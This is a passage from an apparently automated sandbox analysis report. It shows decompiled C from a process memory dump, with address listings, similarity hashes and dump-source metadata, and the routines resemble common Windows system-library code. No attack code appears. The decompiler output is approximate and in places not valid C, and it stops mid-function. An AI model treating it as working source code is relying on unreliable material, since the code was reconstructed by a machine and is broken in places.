				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x34af9c0);
				E0342D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x34c7b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E033ECEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E033F2280( *[fs:0x30], 0x34c8550);
						_t139 =  *0x34c7b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E0340F3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E033EFFB0(_t193, _t235, 0x34c8550);
								L5:
								return E0342D130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E033D1C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x34c7b9c; // 0x0
							_t235 = L033F4620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x34c7b10; // 0x8
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E0340A61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E033EFFB0(_t193, _t235, 0x34c8550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L033F77F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L033F77F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x34c7b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x34c7b10; // 0x8
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E034137C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x34c7b9c; // 0x0
									_t214 = L033F4620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E034137F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x34c7b10 =  *0x34c7b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x34c7b04 =  *0x34c7b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L033F77F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L033F77F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x34c7b08 =  *0x34c7b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E034157C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E0341F3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L033F77F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E0340A44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L033F77F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E034196C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x033e849b
0x033e849b
0x033e849b
0x033e849b
0x033e849d
0x033e84a2
0x033e84a7
0x033e84b1
0x033e84d8
0x00000000
0x033e84b3
0x033e84c4
0x033e84c9
0x033e84cd
0x033e84cf
0x033e84cf
0x033e84d6
0x033e84e6
0x033e84e9
0x033e84ec
0x033e84ef
0x033e84f2
0x033e84f4
0x033e84fc
0x033e8501
0x033e8506
0x033e8509
0x033e86e0
0x033e86e5
0x033e86e8
0x033e86ed
0x033e86f0
0x033e86f2
0x03439afd
0x03439b02
0x033e84da
0x033e84df
0x033e84df
0x033e86fa
0x033e86fd
0x033e86fe
0x033e8701
0x033e8706
0x033e8709
0x033e870b
0x00000000
0x00000000
0x033e8711
0x033e8725
0x033e8727
0x033e872a
0x033e872c
0x03439af0
0x03439af5
0x033e8732
0x033e8732
0x033e8732
0x033e8735
0x033e8737
0x033e8515
0x033e8515
0x033e8518
0x033e851d
0x033e8523
0x033e8527
0x033e852b
0x033e8537
0x033e8539
0x033e853c
0x033e853e
0x033e868c
0x033e8691
0x033e8699
0x033e869b
0x033e8744
0x033e8748
0x033e86a1
0x033e86a1
0x033e86a1
0x033e86a4
0x033e86a8
0x03439bdf
0x03439bdf
0x033e86ae
0x033e86b0
0x00000000
0x033e86b6
0x00000000
0x03439be9
0x033e86b0
0x033e8544
0x033e854a
0x033e854d
0x033e8551
0x033e876e
0x033e8778
0x033e877b
0x033e8780
0x033e8557
0x033e8557
0x033e855d
0x033e855d
0x033e856b
0x033e856e
0x033e8570
0x033e8573
0x033e8576
0x033e8576
0x033e8579
0x033e857b
0x00000000
0x00000000
0x033e8581
0x033e85a0
0x033e85a2
0x033e85a5
0x033e85a7
0x03439b1b
0x03439b1b
0x033e862e
0x033e862e
0x033e8631
0x033e8631
0x033e8634
0x033e8636
0x033e8669
0x033e8669
0x033e866b
0x03439bbf
0x03439bc4
0x03439bc8
0x03439bce
0x03439bce
0x033e8671
0x033e8671
0x033e8674
0x033e8676
0x03439bae
0x03439bae
0x033e8676
0x033e867c
0x033e867e
0x033e8688
0x033e8688
0x00000000
0x033e867e
0x033e8638
0x033e8638
0x033e863b
0x033e863e
0x033e863f
0x033e8642
0x033e8645
0x033e8648
0x033e864d
0x03439b69
0x03439b6e
0x03439b7b
0x03439b81
0x03439b85
0x03439b89
0x03439ba7
0x03439b8b
0x03439b91
0x03439b9a
0x03439b9f
0x03439b9f
0x033e8788
0x033e878d
0x033e8763
0x033e8763
0x033e8766
0x00000000
0x033e8766
0x03439b70
0x00000000
0x03439b70
0x033e8656
0x033e865a
0x033e865c
0x033e8752
0x033e8756
0x00000000
0x00000000
0x033e875e
0x00000000
0x033e875e
0x033e8662
0x033e8662
0x033e8662
0x033e8666
0x00000000
0x033e8666
0x033e85b7
0x033e85b9
0x033e85bc
0x033e85bf
0x033e85cc
0x033e85d1
0x033e85d4
0x033e85db
0x033e85de
0x033e85e0
0x03439b5f
0x00000000
0x03439b5f
0x033e85e6
0x033e85ea
0x033e86c3
0x033e86c5
0x033e86c8
0x033e86ca
0x03439b16
0x00000000
0x03439b16
0x033e86d6
0x033e85f6
0x033e85f6
0x033e85f9
0x033e8602
0x033e8606
0x033e860a
0x033e860b
0x033e860e
0x033e8611
0x00000000
0x033e8611
0x033e85f3
0x00000000
0x033e85f3
0x033e8619
0x033e861e
0x033e861e
0x033e8621
0x033e8622
0x033e8623
0x033e8625
0x033e862c
0x00000000
0x033e873d
0x00000000
0x033e873d
0x033e8737
0x033e850f
0x033e8512
0x00000000
0x033e8512
0x00000000
0x033e84d6

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a406ea79d503feabdf626e88c65e4d8a77d23774c5f74492d04225e9de8af776
Instruction ID: d599f4beea6cadc89f4c6978ace4432a139ccc1b29c0889deb937ea4504b3717
Opcode Fuzzy Hash: a406ea79d503feabdf626e88c65e4d8a77d23774c5f74492d04225e9de8af776
Instruction Fuzzy Hash: D2B146B4E00329DFCB14DFA9C9C0AAEBBB9BF49704F14412AE515AF285D770A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0340513A, Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0340513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x34cd360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E0341D0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E033F2280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L033F4620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E0341F3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E033EFFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x34cb1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E0341B640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x03405142
0x0340514c
0x03405150
0x03405157
0x03405159
0x0340515e
0x03405165
0x03405169
0x0340516c
0x03405172
0x03405176
0x0340517a
0x0340517a
0x0340517a
0x0340517f
0x03446d8b
0x03446d8e
0x03446d91
0x03446d95
0x03446d98
0x03446d9c
0x03446da0
0x03446da3
0x03446da7
0x03446e26
0x03446e26
0x03446e2a
0x034051f9
0x034051f9
0x034051fe
0x03446e33
0x03446e33
0x03446e39
0x03446e3d
0x03446e46
0x03446e50
0x00000000
0x00000000
0x03446e52
0x03446e53
0x03446e56
0x03446e5d
0x00000000
0x00000000
0x00000000
0x03446e5f
0x03446e67
0x03446e77
0x03446e7f
0x03446e80
0x03446e88
0x03446e90
0x03446e9f
0x03446ea5
0x03446ea9
0x03446eb1
0x03446ebf
0x00000000
0x00000000
0x03446ecf
0x03446ed3
0x00000000
0x00000000
0x03446edb
0x03446ede
0x03446ee1
0x03446ee8
0x03446eeb
0x03446eed
0x03446ef0
0x03446ef4
0x03446ef8
0x03446efc
0x00000000
0x00000000
0x03446f0d
0x03446f11
0x03446f32
0x03446f37
0x03446f3b
0x03446f3e
0x03446f41
0x03446f46
0x00000000
0x00000000
0x03446f4c
0x03446f50
0x03446f50
0x03446f54
0x03446f62
0x03446f65
0x03446f6d
0x03446f7b
0x03446f7b
0x03446f93
0x03446f98
0x03446fa0
0x03446fa6
0x03446fb3
0x03446fb6
0x03446fbf
0x03446fc1
0x03446fd5
0x03446fda
0x03446fda
0x03446fdd
0x03446fe2
0x03446fe7
0x03446feb
0x03446fef
0x03446ff3
0x0340520c
0x0340520c
0x0340520f
0x03405215
0x03405234
0x0340523a
0x0340523a
0x03405244
0x03405245
0x03405246
0x03405251
0x03405251
0x03446f13
0x03446f17
0x03446f17
0x03446f18
0x03446f1b
0x03446f1f
0x03446f23
0x00000000
0x03446f28
0x03405204
0x03405204
0x03405208
0x00000000
0x03405208
0x03405185
0x03405188
0x0340518a
0x0340518e
0x03405195
0x03446db1
0x03446db5
0x03446db9
0x0340519b
0x0340519b
0x0340519e
0x034051a7
0x034051a9
0x034051a9
0x034051b5
0x034051b8
0x034051bb
0x034051be
0x034051c1
0x034051c5
0x034051c9
0x034051cd
0x034051cd
0x034051d8
0x034051dc
0x034051e0
0x03446dcc
0x03446dd0
0x03446dd5
0x03446ddd
0x03446de1
0x03446de1
0x03446de5
0x03446deb
0x03446df1
0x03446df7
0x03446dfd
0x03446e01
0x03446e05
0x03446e09
0x03446e0d
0x03446e11
0x03446e11
0x034051eb
0x03446e1a
0x03446e1f
0x03446e21
0x03446e23
0x00000000
0x034051f1
0x034051f1
0x00000000
0x034051f1

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c523db6de590096a4bd9750a7ce01bedf4f3977a4530ce09c9597ee8d1289bd
Instruction ID: 269ec7c4f4b6752fe8e6bbfdb2e8e71635261e68309e1dac688c87e86abc76f3
Opcode Fuzzy Hash: 8c523db6de590096a4bd9750a7ce01bedf4f3977a4530ce09c9597ee8d1289bd
Instruction Fuzzy Hash: 96C111756083808FD354CF28C580A5AFBE1BF89304F184A6EF9998B392D775E945CF46

Uniqueness

Uniqueness Score: -1.00%

Function 034003E2, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E034003E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x34cd360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E03400548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E0341B640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E033EB02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x34c7c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E033F7D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E033F7D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E03457016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E03419830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E034569A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0x34c7c04 != 0) {
						_t118 = _v12;
						_t120 = E0345A7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x34c7bd8;
						if( *0x34c7bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E034195D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E034199A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E03453540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E033DB1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E0341AAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x34c8474 - 3;
										if( *0x34c8474 != 3) {
											 *0x34c79dc =  *0x34c79dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E033F7D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E033F7D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E03457016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
